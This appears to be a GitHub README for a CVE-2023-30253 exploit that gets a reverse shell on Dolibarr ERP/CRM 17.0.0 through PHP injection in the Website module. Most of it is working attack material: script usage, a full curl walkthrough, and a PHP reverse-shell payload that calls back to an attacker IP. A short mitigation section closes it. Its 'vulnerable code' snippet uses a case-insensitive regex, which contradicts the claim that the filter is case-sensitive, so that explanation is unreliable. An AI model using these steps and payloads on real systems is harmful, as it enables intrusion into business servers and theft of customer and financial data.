
CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 RCE via PHP code injection (exploit educativo)
PHP code injection exploit for Dolibarr ERP/CRM v17.0.0 that allows obtaining a reverse shell as www-data user via the Website/CMS module.
⚠️ For educational purposes and authorized audits only.
CVE-2023-30253 is a PHP code injection vulnerability (CWE-94: Improper Control of Generation of Code) in Dolibarr ERP/CRM versions prior to 17.0.1.
It was discovered and reported by the Swascan team (now Hacktivesecurity) in May 2023. The vulnerability resides in the Website/CMS module, which allows authenticated users to create and manage websites within Dolibarr.
| Field | Value |
|---|---|
| CVE | CVE-2023-30253 |
| CVSS v3.1 | 8.8 (HIGH) |
| Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Type | CWE-94 — Code Injection |
| Affected software | Dolibarr ERP/CRM < 17.0.1 |
| Privileges | Authenticated user (any role) |
| Patch | Dolibarr 17.0.1 — commit 4f6055c |
Dolibarr implements a filter to prevent users from injecting PHP code into the content of Website module pages. However, this filter has a critical flaw: it is case-sensitive.
// Vulnerable code (simplified) in Dolibarr 17.0.0
if (preg_match('/<\?php/i', $content)) {
// Blocks only "<?php" in exact lowercase... or not?
die("PHP code detected!");
}
The filter literally looks for the string <?php in lowercase. But PHP allows any combination of uppercase and lowercase for the opening tag. This means:
| Tag | Filtered? | Executed by PHP? |
|---|---|---|
<?php ... ?> | ✅ | ✅ |
<?PHP ... ?> | ❌ | ✅ |
<?Php ... ?> | ❌ | ✅ |
<?pHp ... ?> | ❌ | ✅ |
The exploit uses <?PHP (uppercase) to bypass the filter, but any variant works.
Additionally, the filter is only applied when saving the content. When serving the page, Dolibarr passes the content without additional sanitization to the PHP interpreter, which executes any code with the <? opening tag.
An authenticated attacker can:
/etc/passwd, configuration)Why is it critical? Dolibarr is used as an enterprise ERP/CRM. An intrusion can expose customer data, finances, contracts, and internal credentials.
The exploit automates the complete exploitation process in 5 steps:
┌─────────────────────────────────────────────────────────┐
│ CVE-2023-30253 │
│ │
│ 1. Login → Authenticate to Dolibarr │
│ 2. Create Website → Create an empty website │
│ 3. Create Page → Create a page within the site │
│ 4. Inject Shell → Inject PHP reverse shell │
│ 5. Trigger → Execute the payload │
│ │
│ Result: 🎯 Reverse shell as www-data │
└─────────────────────────────────────────────────────────┘
Features:
pageidfsockopen + proc_openrequestsbeautifulsoup4Or simply:
pip install -r requirements.txt
# Clone the repository
git clone https://github.com/jeanback1/CVE-2023-30253-exploit.git
cd CVE-2023-30253-exploit
# Install dependencies
pip install -r requirements.txt
python exploit.py <target> <username> <password> <lhost> <lport> [options]
Positional arguments:
| Argument | Description | Example |
|---|---|---|
target | Base URL of Dolibarr | http://crm.board.htb |
username | Dolibarr username | admin |
password | Dolibarr password | admin |
lhost | Your IP (where you will receive the shell) | 10.10.14.5 |
lport | Your port (where you will receive the shell) | 4444 |
Options:
| Option | Description |
|---|---|
-v, --verbose | Show detailed debug information |
--no-color | Disable colors in output |
-h, --help | Show help and examples |
nc -lvnp 4444
python exploit.py http://crm.board.htb admin admin 10.10.14.5 4444 --verbose
════════════════════════════════════════════════════════
CVE-2023-30253 — Dolibarr 17.0.0 RCE Exploit
════════════════════════════════════════════════════════
Target: http://crm.board.htb
User: admin
LHOST: 10.10.14.5
LPORT: 4444
Site ID: s3a1f2bc
──────────────────────────────────────────────────
[10:45:12] Step 1/5: Logging in...
[10:45:12] ✓ Session started successfully
[10:45:13] Step 2/5: Creating website...
[10:45:13] ✓ Website 's3a1f2bc' created
[10:45:13] Step 3/5: Creating page within the site...
[10:45:13] ✓ Page created inside the site
[10:45:14] Step 4/5: Injecting reverse shell → 10.10.14.5:4444...
[10:45:14] ✓ PHP code injected successfully
[10:45:14] Step 5/5: Executing payload (trigger)...
════════════════════════════════════════════════════════
EXPLOITATION COMPLETED
════════════════════════════════════════════════════════
Trigger URL:
http://crm.board.htb/public/website/index.php?website=s3a1f2bc&pageref=s3a1f2bc
Instructions:
1. In another terminal, start your listener:
nc -lvnp 4444
2. Access the Trigger URL (the exploit already did this)
3. You will receive a reverse shell as www-data
Listening on 0.0.0.0 4444
Connection received on 10.129.231.37 52846
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
If you prefer to understand the process manually (without the script), here is the complete flow:
# Get cookies and CSRF token
curl -c cookies.txt http://crm.board.htb/ > /dev/null
# Extract token
TOKEN=$(curl -s -b cookies.txt http://crm.board.htb/ \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
# Login
curl -b cookies.txt -c cookies.txt \
-X POST "http://crm.board.htb/index.php?mainmenu=home" \
-d "token=$TOKEN&actionlogin=login&loginfunction=loginfunction&username=admin&password=admin"
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?action=createsite" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
-d "token=$TOKEN&action=addsite&WEBSITE_REF=misitio&WEBSITE_TITLE=misitio&addcontainer=Create"
⚠️ Lesson learned: The correct
actionparameter isaddsite, notaddas appears in some public exploits.
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?website=misitio" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
-d "token=$TOKEN&action=addcontainer&website=misitio&WEBSITE_TYPE_CONTAINER=page&WEBSITE_TITLE=TEST&addcontainer=Create"
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?website=misitio&pageid=1&action=editsource" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
PHP='<?PHP $s=fsockopen("10.10.14.5",4444);proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);?>'
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "action=updatesource" \
--data-urlencode "website=misitio" \
--data-urlencode "PAGE_CONTENT=$PHP"
🔑 Key to the attack: The correct field is
PAGE_CONTENT, notWEBSITE_CONTENT. Many public PoCs have this error.
curl "http://crm.board.htb/public/website/index.php?website=misitio&pageref=misitio"
To protect a Dolibarr server against this vulnerability:
# Update to Dolibarr 17.0.1 or higher
# The patch fixes the filter to detect any variant of <?php
If you don't use the Website/CMS module, disable it from:
Home → Setup → Modules → Website → Disable
# Block any variant of PHP tags in the PAGE_CONTENT field
SecRule ARGS:PAGE_CONTENT "@rx <\?php|< \?php|<\?PHP|<\?[pP][hH][pP]" \
"id:1001,phase:2,deny,status:403,msg:'CVE-2023-30253 PHP Injection blocked'"
This project is created for educational and research purposes in computer security. The use of this exploit against systems without explicit authorization is illegal and ethically reprehensible.
As a cybersecurity professional, I firmly believe in:
Created by Jean Carlos
Cybersecurity Student | Pentesting | CTF Player
CVE-2021-3560 •
CVE-2023-27163 •
CVE-2024-46986 •
CVE-2025-2304